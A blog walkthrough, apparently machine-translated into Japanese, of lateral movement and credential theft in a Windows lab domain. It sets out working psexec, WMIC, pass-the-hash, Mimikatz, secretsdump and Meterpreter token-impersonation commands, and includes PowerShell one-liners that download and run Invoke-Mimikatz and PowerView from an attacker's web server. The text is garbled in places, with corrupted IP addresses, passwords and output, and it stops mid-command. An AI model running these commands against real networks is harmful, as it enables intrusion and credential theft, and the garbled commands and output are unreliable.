Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863538110

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

0x00シーン

今回は、「redhook.da」ドメインでアカウントの利用可能な資格情報を取得することです。イントラネットホストを制御するための権限から始めますが、ターゲットドメインコントローラーと同じサブネットにはありません。下の図に示すように:

1049983-20201012143948201-798475802.png

さらに、攻撃者がクライアント1ホストのローカル管理者キャッシュ認証資格情報を取得したと仮定します。一般に、ネットワーク範囲が十分に大きい場合、対応する保存された有効な資格情報は、バッチ、VB、NET、PS1などのスクリプトを介してネットワーク共有にあります。初期アクセスを取得します。この記事では、この攻撃者は、Windowsを横向きに移動する方法と、AVSのバイパスを含まない状況に焦点を当てています。

0x00クライアントホストを攻撃する

1。バッチスクリプトの取得は上記のとおりです。 Clent1(10.0.0.129)ホストのユーザー認証資格情報は、ネットワーク共有のバッチ処理とスクリプトを通じて取得されました。

#\\ fileserver \ users \ bob \ workstations \ errorlog.batのmock contents

@ECHOオフ

ネット使用'\\ 10.0.0.129 \ c $' /user:bob imsosecur3! #Create共有

存在する場合'\\ 10.0.0.129 \ c $ \ program files \ msbuild \ errorlog.txt'(

Echo 'ため息、クライアントのより多くのエラー1!コピー. '

'\\ 10.0.0.129 \ c $ \ program files \ msbuild \ errorlog.txt' c: \ uses \ bob \ logs \ client1 \

del '\\ 10.0.0.129 \ c $ \ program files \ msbuild \ errorlog.txt'

) それ以外(

echo 'yaay、クライアントに新しいエラーはありません!'

))

正味使用'\\ 10.0.0.129 \ c $' /delete

バッチスクリプトを介して指定されたIPのNetBIOS情報をすばやく取得します。

NBTSCAN -VH 10.0.0.129

または

NBTSTAT -A 10.0.0.129

1049983-20201012143948729-1907007498.jpg

コマンドnbtstat -a ipを使用して同じ操作を実行することもできます。ホスト名win7-ent-cli1を取得することができ、それはredhookドメインに接続されています

2.PsexecはMetasploitのPSEXECを使用します。これにより、Kaliのクライアント1ホストのリバウンドシェルを簡単に取得できます。ボブはドメインアカウントではなくローカルアカウントであることに注意してください。したがって、SMBDomainパラメーターは使用されません。

msfuse exploit/winodws/smb/psexec

MSFSET RHOST 10.0.0.129

MSFSET SMBUSER BOB

msfset smbpass imsosecur3!

msfshowオプション

msfexploit

1049983-20201012143949223-1768103760.png

ここでは、RemComSVCを使用してPSEXECをシミュレートするImpacketパッケージのPsexecを使用することもできます。ここでの利点は、明確な卒業証書が得られない場合、ハッシュパスを受け入れることができることです。

python psexec.py bob:imsosecur3!@10.0.0.0.129 cmd

1049983-20201012143949787-910686673.png

Windowsの下のpsexec.exeも水平方向に移動することができ、実行可能ファイルに署名する利点があります。このコマンドに「-s」識別子を追加すると、システムシェルが取得されます。

psexec.exe \\ 10.0.0.129 -u bob -p imsosecur3! CMD

1049983-20201012143950422-1118353263.png

3.WMIは、リモートコマンドツールの実行に関するものです。ここで最も有名なのはWMICツールです。リモートホストでのコマンド実行を可能にするだけでなく、WMIを使用して機密情報を取得し、ホストシステムを再構成します。このツールは、Windowsのコマンドが組み込まれています。

wmic /node:10.0.0.129 /user:bob /password:3360imsososecur3! ComputerSystemリストブリーフ /FORMAT:LIST #REMOTELY COMPUTER情報を取得します

wmic /node:10.0.0.129 /user:bob /password:3360imsososecur3! ComputerSystem usernameを取得#REMOTELYターゲットユーザーアカウント情報許可を取得します

wmic /node:10.0.0.129 /user:bob /password:3360imsososecur3!プロセスコールクレート 'calc.exe' #remote作成プロセス、ここにcalc.exeがあります

wmic /node:10.0.0.129 /user:bob /password:imsososecur3! ComputerSystem Process Name、ProcessID |を取得します検索#REMOTELYプロセスID、名前、およびプロセスを実行する

} 1049983-20201012143950828-66913465.png

4.wmiexecは、インパケットパッケージでWMIEXECツールを使用し、コマンドを実行してコマンド出力を印刷することができます。また、半互換シェルを提供したり、ハッシュを通したりすることができます。

python wmiexec.py bob:imsososecur3!@10.0.0.129ルートプリント-4 10.*

1049983-20201012143951357-1913063964.png

PowersploitzのInvoke-Wmicommandは、PscRedentialオブジェクトの使用により、より多くのメモリを占有しますが、コマンドの印刷とスクリプトのメモリストレージの場所を取得できます。

1049983-20201012143951938-1370830872.png

5。Pass-The-Hash(WCEおよびMimikatz)時々、ターゲットホストコマンドウィンドウが取得されると、ターゲットホストユーザーのNTLMハッシュ値は取得でき、プレーンテキストパスワードは取得できません。この場合、MetaSploit(PSEXEC)またはImpackを使用できます。環境がローカルウィンドウ環境に限定されている場合、WCEまたはMimikatzを使用してNTLMハッシュをプロセスに注入できます。

おっと

正味使用\\ 10.0.0.129 \ admin $#ターゲット共有は取得できません。ユーザー名とパスワードはここで必要です

wce.exe -s bob:3360AAD3B435B1404EEAAD3B435B51404E:F6C0FA29F4CAD745AD04BED1D00A7C82 #REMOTE WCE.EXE

正味使用\\ 10.0.0.129 \ admin $

dir \\ 10.0.0.129 \ admin $

1049983-20201012143952406-1738653105.png

欠点は、WCEがエラーアラーム情報を表示することです!PowerShellを使用して、Mimikatzをメモリに直接ロードできます!ただし、この場合、コンパイルされたバイナリファイルmimikatz.exeを使用することをお勧めします。

正味使用\\ 10.0.0.129 \ $ admin

Miminatz.exe

mimikatz#sekurlsa:pth /user:bob /domain: /NTLM:F6C0FA29F4CAD745AD04BED1D00A7C82 #MMIKATモジュールPTH

おっと

正味使用\\ 10.0.0.129 \ $ admin

1049983-20201012143952894-1915756352.png

この場合、フィールドはすべて「。」に設定されていることに注意してください。これは、ボブがローカルアカウントだからです。

0x02拠点01

を確立します

1.MetasPloit(MimikatzとHashdump)は、Mimikatzを使用して、アクティブセッションのユーザー資格情報を取得し、Hashdumpを取得して、現在ログインしていないローカルアカウントのハッシュを取得します。

MeterPreterload Mimikatz #load Mimikatzモジュール

MeterPrtertSPKG #Enhanceシステム許可

MeterPrterMSVV#現在アクティブなセッション資格情報を取得します

MeterPrterHashdump#ローカルホストアカウントのすべてのハッシュ値を取得します

1049983-20201012143953491-2109071315.png

2。SecretSdumpとInvoke-Mimikatzは、PowersploitのImpackのSecretSdumpおよびInvoke-Mimikatzにも使用できます。この場合、Invoke-Mimikatzは攻撃者のWebサーバーでホストされています。

python secretsdump.py bob:imsosecur3!@10.0.0.129

python psexec.py bob:imsosecur3!@10.0.0.0.129 cmd

Powershell -exec Bypass -command 'iex(new-Object System.net.webclient).dowloadstring(' http://10.0.0.129/invoke-mimikatz.ps1 '); Invoke-Mimikatz' '

Mimiatz(Powershell)#Sekurlsa:logonpasswords

1049983-20201012143954299-46010124.png

もちろん、この問題を解決する他の方法はありますが、これらが主なアプローチであると考えています。

0x03情報収集

Redhookドメインのホストにアクセスできるようになりました。これは別のサブネットにも接続されています。

1。トークンの買収。これで、Redhookドメインにマシンがあり、異なるサブネットに接続できます。今、私たちは情報を収集し始めます。

ドメイン情報を照会するには、ドメインユーザーが必要です。現在のBOBユーザーはドメインユーザーまたはシステムの許可ではありませんが、使用できます

ntquerysysteminformation他のユーザーのトークンを発見し、ログインをシミュレートします。

MeterPreterにはこのプラグインがあり、プロセスが非常にシンプルになります。

MeterPrtergetUid

meterpterlist_tokens -u

meterprterimpersonate_token redhook \\ asenath.waite

MeterPrtershell

誰が

1049983-20201012143955121-1187620161.png

また、リモートで使用できるPSEXECのような機能を備えたツールであるLuke JenningsのIncognitoを使用することもできます。

Incognito.exe -H 10.0.0.129 -U bob -p imsosecur3! list_tokens -u

Incognito.exe -H 10.0.0.129 -U bob -p imsosecur3! -c redhook \ asenath.waite cmd.exeを実行します

1049983-20201012143955732-470727192.png

最後に、PowerSploitのInvoke-TokenManipulationがあります。ただし、現在の状態では、必要な機能を実際に取得できないため、使用することはお勧めしません。

2。ドメイン情報収集。現在、ターゲットドメインホストのシェルが取得されており、最大の結果を得るには、いくつかの情報収集を実行する必要があります。

c: \ windows \ system32 whoami redhook \ asenath.waite

c: \ windows \ system32 hostnamewin7-ent-cli1

c: \ windows \ system32 ipconfig

Windows IP構成

イーサネットアダプターローカルエリア接続2:

接続固有のDNS接尾辞。 LocalDomain Link-Local IPv6アドレス。 FE80:3360A1BA:A1AB:170C:7916%17 IPv4アドレス。 。 10.0.0.129#攻撃者のサブネットサブネットマスク。 。 255.255.255.0デフォルトゲートウェイ。 。

イーサネットアダプターBluetoothネットワークConnection:

メディア状態。 。メディアが接続された接続固有のDNSサフィックス。

イーサネットアダプターローカルエリアConnection:

接続固有のDNS接尾辞。 Link-Local IPv6アドレス。 FE80:33605DDC:1E6336017E9:9E15%11 IPv4アドレス。 。 10.1.1.2#redhookサブネットサブネットマスク。 。 255.255.255.0デフォルトゲートウェイ。 。 10.1.1.1

トンネルアダプターISATAP。{8D0466B5-1F88-480C-A42D-49A871635C9A} :

メディア状態。 。メディアが接続された接続固有のDNSサフィックス。

トンネルアダプターiSatap.localdomain:

メディア状態。 。メディアが接続された接続固有のDNSサフィックス。 LocalDomain

トンネルアダプターISATAP。{5CBBE015-1E1C-4926-8025-EBB59E470186} :

メディア状態。 。メディアが接続された接続固有のDNSサフィックス。

#非常に小さなネットワーク、3人のホスト、私たちが妥協したばかりのホストを含む。

-------------------------------------------------------------------------------\\REDRUM-DC red.dc\\WIN7-ENT-CLI1\\WIN7-ENT-CLI2

コマンドは正常に完了しました。

#dcユーザーが認証されているtoc: \ windows \ system32 echo%logonserver%\\ redrum-dc

c: \ windows \ system32 ping -n 1 redrum -dc

ping redrum-dc.redhook.local [10.1.1.200]は、10.1.1.1.1.1.1.1.200:=32 time1ms ttl=128から32バイトのdata:Reply

10.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1:送信=1、受信=1、失われた=0(0%損失)、約100万秒の往復時間3:最小=0ms、最大=0ms、平均=0ms

#ローカルユーザーのリスト\ windows \ system32ネットユーザー

ユーザーは\\ win7-ent-cli1を説明します

-----------------------------------------------------------------------------------管理者Bob guestTemplateAdmin

コマンドは正常に完了しました。

#redhookドメインユーザーをリストします

C: \ Windows \ System32ネットユーザー /ドメイン

リクエストは、domain redhook.localのドメインコントローラーで処理されます。

\\ redrum-dc.redhook.localをユーザーアカウント

---------------------------------------------------------------------------------------------------------------------------------------------------------------- GuestJohn.smith Krbtgt Redhook.Darobert.Suydam Wilbur.Whateley

コマンドは正常に完了しました。

#powersploit=invoke-enumeratelatelocaladmin:ネットワーク内のボックスにあるローカル管理者であるすべてのユーザーを見つけます。

c: \ windows \ system32 powershell -exec bypass -command 'iex(new -object system.net.webclient).downloadstring(' http://10.0.0.0.128/powerview.ps1 '); invoke -enumeratelocaladm